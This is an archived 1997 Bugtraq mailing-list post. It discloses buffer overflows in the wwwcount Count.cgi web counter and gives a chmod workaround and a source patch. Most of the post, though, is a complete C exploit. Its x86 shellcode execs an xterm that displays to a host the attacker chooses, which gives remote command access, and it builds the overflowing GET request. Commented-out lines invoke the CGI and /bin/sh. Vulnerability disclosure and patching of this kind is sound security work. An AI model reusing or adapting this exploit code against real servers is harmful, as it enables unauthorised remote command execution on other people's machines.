Bugtraq mailing list archives
wwwcount remote exploit
From: dube0866 () eurobretagne fr (Nicolas Dubee)
Date: Thu, 16 Oct 1997 20:23:42 +0200
Ok. Well, this wasn't supposed to be released so early but, anyway, as we're on the subject (wwwcount)...
From: Razvan Dragomirescu <drazvan () kappa ro> Subject: Security flaw in Count.cgi (wwwcount) To: BUGTRAQ () NETSPACE ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all, I have found a vulnerability in Muhammad A. Muquit's wwwcount version 2.3
[...]
And one more thing. A search on AltaVista for "Count.cgi" returned about 200.000 matches. I do not know how many of them were versions 2.3.... but even 50.000 vulnerable computers do not make me feel comfortable. Be good. Razvan P.S. You can find information about wwwcount at http://www.fccc.edu/users/muquit/Count.html - -- Razvan Dragomirescu
plaguez security advisory n.11 Count.cgi (wwwcount) remote exploit Program: Count.cgi (wwwcount), a popular CGI web counter Version: Tested on 2.3, others probably affected as well (?) OS: All Impact: a buffer can be overflowed in the Count.cgi program, allowing remote http users to execute arbitrary commands on the target machine. Hi, there are at least two buffer overflow vulnerabilities in wwwcount, a widely used CGI web counter. The most harmful occurs when the QUERY_STRING environment variable (which reflects the url asked by the www client) is copied to a fixed-size dynamic buffer. Another one occures only when the counter is compiled with a special authentication option, and may not be exploitable. Fix: ---- As they are exploitable remotely, these holes are extremely serious and should be addressed as soon as possible. A temporary fix, if the sources are not available, is to remove the exec permissions (chmod -x) of the Count.cgi executable (located in your httpd's cgi-bin/ directory). The actual fix is pretty simple. Apply the following patch to the file main.c. Environment variables will be cutted down to their first 600 chars. The idea of this patch can also be adapted for other purposes, mainly to develop a generic cgi-bin wraper. 58a59,72
void wrapit(char *envvar,int esize) { char *tmp,*tmp2; tmp=malloc(esize+1); if(tmp==NULL) { Debug2("Can't allocate wrapper memory buffer.",0,0); exit(1); } strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1); tmp[esize]='\0'; setenv(envvar,tmp,1); }
89c103 < char ---
char
185a200,207
/* * avoid any buffer overflow problem by cutting some env variables */ wrapit("QUERY_STRING",600); wrapit("HTTP_REFERER",600); wrapit("HTTP_USER_AGENT",600);
Exploit: -------- here is a _sample_ exploit, designed to be used on localhost. Needs lots of work to be really usefull, remote stack prediction is still a big problem. ------------cutcut-------8<----------------------------------------------- /* Count.cgi (wwwcount) linux test exploit (c) 05/1997 by plaguez - dube0866 () eurobretagne fr Contact me if you manage to improve this crap. This program needs drastic changes to be useable. If you can't understand how to modify it for your own purpose, please do not consider trying it. */ #include <stdio.h> #include <stdlib.h> char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d" "\x5e\x18\x88\x46\x2c\x88\x46\x30" "\x88\x46\x39\x88\x46\x4b\x8d\x56" "\x20\x89\x16\x8d\x56\x2d\x89\x56" "\x04\x8d\x56\x31\x89\x56\x08\x8d" "\x56\x3a\x89\x56\x0c\x8d\x56\x10" "\x89\x46\x10\xb0\x0b\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xbf" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff" "/usr/X11R6/bin/xterm0-ut0-display0" "127.000.000.001:00" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff"; /* Assembly stuff for the previous buffer. This basically implements an execve syscall, by creating an array of char* (needs to put a null byte at the end of all strings). Here we gonna exec an xterm and send it to our host. (you can't simply exec a shell due to the cgi proto). jmp 60 popl %esi xorl %eax,%eax # efface eax movl %esi,%ecx # recupere l'adresse du buffer leal 0x18(%esi),%ebx # recupere l'adresse des chaines movb %al,0x2c(%esi) # cree les chaines azt movb %al,0x30(%esi) # movb %al,0x39(%esi) movb %al,0x4b(%esi) leal 0x20(%esi),%edx # cree le char** movl %edx,(%esi) leal 0x2d(%esi),%edx movl %edx,0x4(%esi) leal 0x31(%esi),%edx movl %edx,0x8(%esi) leal 0x3a(%esi),%edx movl %edx,0xc(%esi) leal 0x10(%esi),%edx movl %eax,0x10(%esi) movb $0xb,%al int $0x80 # passe en mode kernel xorl %ebx,%ebx # termine proprement (exit()) movl %ebx,%eax # si jamais le execve() foire. inc %eax # int $0x80 # call -65 # retourne au popl en empilant l'adresse de la chaine .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .ascii \"/usr/X11R6/bin/xterm0\" # 44 .ascii \"-ut0\" # 48 .ascii \"-display0\" # 57 au ; .ascii \"127.000.000.001:00\" # 75 (total des chaines) .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff ... */ char qs[7000]; char chaine[]="user=a"; unsigned long getesp() { // asm("movl %esp,%eax"); return 0xbfffee38; } void main(int argc, char **argv) { int compt; long stack; stack=getesp(); if(argc>1) stack+=atoi(argv[1]); for(compt=0;compt<4104;compt+=4) { qs[compt+0] = stack & 0x000000ff; qs[compt+1] = (stack & 0x0000ff00) >> 8; qs[compt+2] = (stack & 0x00ff0000) >> 16; qs[compt+3] = (stack & 0xff000000) >> 24; } strcpy(qs,chaine); qs[strlen(chaine)]=0x90; qs[4104]= stack&0x000000ff; qs[4105]=(stack&0x0000ff00)>>8; qs[4106]=(stack&0x00ff0000)>>16; qs[4107]=(stack&0xff000000)>>24; qs[4108]= stack&0x000000ff; qs[4109]=(stack&0x0000ff00)>>8; qs[4110]=(stack&0x00ff0000)>>16; qs[4111]=(stack&0xff000000)>>24; qs[4112]= stack&0x000000ff; qs[4113]=(stack&0x0000ff00)>>8; qs[4114]=(stack&0x00ff0000)>>16; qs[4115]=(stack&0xff000000)>>24; qs[4116]= stack&0x000000ff; qs[4117]=(stack&0x0000ff00)>>8; qs[4118]=(stack&0x00ff0000)>>16; qs[4119]=(stack&0xff000000)>>24; qs[4120]= stack&0x000000ff; qs[4121]=(stack&0x0000ff00)>>8; qs[4122]=(stack&0x00ff0000)>>16; qs[4123]=(stack&0xff000000)>>24; qs[4124]= stack&0x000000ff; qs[4125]=(stack&0x0000ff00)>>8; qs[4126]=(stack&0x00ff0000)>>16; qs[4127]=(stack&0xff000000)>>24; qs[4128]= stack&0x000000ff; qs[4129]=(stack&0x0000ff00)>>8; qs[4130]=(stack&0x00ff0000)>>16; qs[4131]=(stack&0xff000000)>>24; strcpy((char*)&qs[4132],shell); /* Choose what to do here */ printf("GET /cgi-bin/Count.cgi?%s\n\n",qs); /*fprintf(stderr,"\n\nadresse: %x0x\n",stack); printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack); setenv("QUERY_STRING",qs,1); system("/usr/local/etc/httpd/cgi-bin/Count.cgi"); system("/bin/sh");*/ } -------------------------------------8<------------------------- later, -plaguez dube0866 () eurobretagne fr BTW here is my _NEW_ pgp key. The old one went to another dimension in in an hd crash (NEVER ^C the e2defrag shit !). Sorry for the ppl who are sending encrypted mails with the old key. This time I'll make backups. Type Bits/KeyID Date User ID pub 1024/FF7CBA31 1997/10/08 plaguez <dube0866 () eurobretagne fr> -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQCNAzQ7utYAAAEEAOJCaB92rTsUutk5TYpIIFDevSGutQzMaUpsoOqTbUHHzdXE XoqP1FKYQ1kBQHqwy8KFFW71PLpRh2ruBQp7KN9TAF/aVsvq7vrY3gbgfBKjd5Mb 7at2G2wxWXAIY/Pse8MhyVWNomM74F4fGYxZ3SakBUva3tBV57sRa5D/fLoxAAUR tCJwbGFndWV6IDxkdWJlMDg2NkBldXJvYnJldGFnbmUuZnI+iQCVAwUQNDu61rsR a5D/fLoxAQHRBwQAv7pSTXs1giB1HcLs5gJQhMVodYPO6QsCS235UGJOLQ9K2azT 9MH8FDrzFWALf2MqgPSIsV5njedgDjURreF9+Hvoto0zj7ACE62NHB1UdyuiprFy KhY8xtBarVSJ6qWWyM+Fld6bY3sagDCsrsyqdUvp5Enl9ASEFlJSUCH05X4= =CFE6 -----END PGP PUBLIC KEY BLOCK-----
Current thread:
- `smurf' multi-broadcast icmp attack T. Freak (Oct 12)
- Re: `smurf' multi-broadcast icmp attack Craig A. Huegen (Oct 13)
- Re: `smurf' multi-broadcast icmp attack Ben (Oct 13)
- broadcast ip scanning script hyped (Oct 13)
- Re: `smurf' multi-broadcast icmp attack Therapy? (Oct 16)
- Re: `smurf' multi-broadcast icmp attack Jon Lewis (Oct 16)
- Update - Seattle Lab Slmail v2.5 for NT vulnerable David LeBlanc (Oct 16)
- wwwcount remote exploit Nicolas Dubee (Oct 16)
- Re: wwwcount remote exploit (@ Solaris) Jan Wedekind (Oct 17)
- Security Hole in Explorer 4.0 Aleph One (Oct 17)
- computer immunology VaX#n8 (Oct 17)
- Jabadoo Security Hack Aleph One (Oct 17)
- WinNT syscalls insecurity Solar Designer (Oct 19)
- Re: WinNT syscalls insecurity Roger Espel Llima (Oct 18)
- Run, RunOnce and Uninstall Registry Keys Vulnerability Aleph One (Oct 16)
- <Possible follow-ups>
- Re: `smurf' multi-broadcast icmp attack Brad Powell (Oct 16)